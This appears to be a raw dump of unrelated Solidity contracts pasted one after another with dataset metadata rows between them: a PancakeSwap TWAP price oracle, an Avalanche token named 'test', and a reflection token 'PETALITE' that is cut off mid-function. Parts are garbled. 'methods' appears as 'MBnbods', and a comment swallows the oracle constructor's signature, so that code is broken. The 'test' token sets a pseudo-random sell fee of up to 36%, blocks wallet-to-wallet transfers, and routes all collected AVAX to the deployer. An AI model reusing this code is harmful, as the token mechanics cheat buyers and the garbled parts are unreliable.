// https://en.wikipedia.org/wiki/MBnbods_of_computing_square_roots#Babylonian_mBnbod
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// Part: Ownable
contract Ownable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner
function lock() public onlyOwner {
_previousOwner = _owner;
_owner = address(0);
emit OwnershipRenounced(_owner);
}
function unlock() public {
require(_previousOwner == msg.sender, "You dont have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: FixedPoint
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// Part: UniswapV2OracleLibrary
// library with helper mBnbods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// File: MarketOracle.sol
contract MarketOracle is Ownable {
using FixedPoint for *;
uint private grvBnbPrice0CumulativeLast;
uint private grvBnbPrice1CumulativeLast;
uint32 private grvBnbBlockTimestampLast;
uint private wbnbBusdPrice0CumulativeLast;
uint private wbnbBusdPrice1CumulativeLast;
uint32 private wbnbBusdBlockTimestampLast;
address private constant _wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant _busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
IUniswapV2Pair private _grv_bnb;
IUniswapV2Pair private _wbnb_busd;
address public controller;
modifier onlyControllerOrOwner {
require(msg.sender == controller || msg.sender == owner());
_;
}
constructor(address __grv_bnb, // Address of the grv-BNB pair on Pancakeswap
address __wbnb_busd // Address of the WBNB-BUSD on Pancakeswapx) public {
controller = msg.sender;
_grv_bnb = IUniswapV2Pair(__grv_bnb);
_wbnb_busd = IUniswapV2Pair(__wbnb_busd);
uint112 _dummy1;
uint112 _dummy2;
grvBnbPrice0CumulativeLast = _grv_bnb.price0CumulativeLast();
grvBnbPrice1CumulativeLast = _grv_bnb.price1CumulativeLast();
(_dummy1, _dummy2, grvBnbBlockTimestampLast) = _grv_bnb.getReserves();
wbnbBusdPrice0CumulativeLast = _wbnb_busd.price0CumulativeLast();
wbnbBusdPrice1CumulativeLast = _wbnb_busd.price1CumulativeLast();
(_dummy1, _dummy2, wbnbBusdBlockTimestampLast) = _wbnb_busd.getReserves();
}
// Get the average price of 1 grv in the smallest BNB unit (18 decimals)
function getgrvBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_grv_bnb));
require(_blockTimestamp != grvBnbBlockTimestampLast, "GRV Last and current are equal");
FixedPoint.uq112x112 memory grvBnbAverage = FixedPoint.uq112x112(uint224(1e9 * (price0Cumulative - grvBnbPrice0CumulativeLast) / (_blockTimestamp - grvBnbBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, grvBnbAverage.mul(1).decode144());
}
// Get the average price of 1 USD in the smallest BNB unit (18 decimals)
function getBusdBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_wbnb_busd));
require(_blockTimestamp != wbnbBusdBlockTimestampLast, "BUSD Last and current are equal");
FixedPoint.uq112x112 memory busdBnbAverage = FixedPoint.uq112x112(uint224(1e6 * (price1Cumulative - wbnbBusdPrice1CumulativeLast) / (_blockTimestamp - wbnbBusdBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, busdBnbAverage.mul(1).decode144());
}
// Update "last" state variables to current values
function update() external onlyControllerOrOwner {
uint grvBnbAverage;
uint busdBnbAverage;
(grvBnbPrice0CumulativeLast, grvBnbPrice1CumulativeLast, grvBnbBlockTimestampLast, grvBnbAverage) = getgrvBnbRate();
(wbnbBusdPrice0CumulativeLast, wbnbBusdPrice1CumulativeLast, wbnbBusdBlockTimestampLast, busdBnbAverage) = getBusdBnbRate();
}
// Return the average price since last update
function getData() external view returns (uint256) {
uint _price0CumulativeLast;
uint _price1CumulativeLast;
uint32 _blockTimestampLast;
uint grvBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, grvBnbAverage) = getgrvBnbRate();
uint busdBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, busdBnbAverage) = getBusdBnbRate();
uint answer = (grvBnbAverage)*1e6 / busdBnbAverage;
return (answer);
}
function setController(address controller_)
external
onlyOwner
{
controller = controller_;
}
}
| 256,059 | 12,421 |
5ef31f73c9e2833baa25cdda9c6ef97b7e126bcc5162bb680232be1b59f1d4f3
| 14,064 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0f/0f7477e12c55645b8c30ef80158aaf8751639747_test.sol
| 3,553 | 13,369 |
// https://t.me/johnnydipcoin
pragma solidity ^0.8.1;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function getAmountsIn(uint256 amountOut,
address[] memory path) external view returns (uint256[] memory amounts);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract test is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "test2";
string constant _symbol = "UN";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x2D99ABD9008Dc933ff5c0CD271B88309593aB921;
uint256 _totalSupply = 10000 * (10 ** _decimals);
uint256 public _record = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public hasSold;
uint256 public liquidityFee = 0;
uint256 public marketingFee = 0;
uint256 public WorldLeaderFee = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
uint256 public maxTx = 300 * (10 ** _decimals);
uint256 public maxWallet = 400 * (10 ** _decimals);
address public autoLiquidityReceiver;
address public marketingWallet;
address public WorldLeader;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 2000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this));
_allowances[address(this)][address(router)] = uint256(_totalSupply);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender; //LP receiver
marketingWallet = msg.sender; //marketing wallet
WorldLeader = msg.sender; //tax collector wallet
totalFee = 10;
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(_totalSupply));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(_totalSupply)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(sender != owner
&& recipient != owner
&& !isTxLimitExempt[recipient]
&& recipient != ZERO
&& recipient != DEAD
&& recipient != pair
&& recipient != address(this))
{
require(maxTx >= amount && maxWallet >= amount + _balances[recipient]);
}
totalFeeIfSelling = (uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender)))%7) ** 2;
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient) internal view returns (bool) {
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2));
uint256 amountAVAXMarketing = amountAVAX;
uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee);
uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}("");
(bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountAVAX, uint256 amountBOG);
}
| 111,603 | 12,422 |
7d485d404ef47129251327e1da507d6d8a0f848c81ae90f318d5dd9d8ad76760
| 19,369 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xd9A565a4F0Ba508f468602785AD557B4943265F5/contract.sol
| 5,100 | 18,179 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PETALITE is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'PETALITE.FINANCE';
string private constant _SYMBOL = 'PET';
uint8 private constant _DECIMALS = 9;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 2000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 500;
uint256 private constant _BURN_FEE = 500;
uint256 private constant _MAX_TX_SIZE = 200000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromMagnetion(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function magnetionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromMagnetion(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total magnetions");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromMagnetion(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
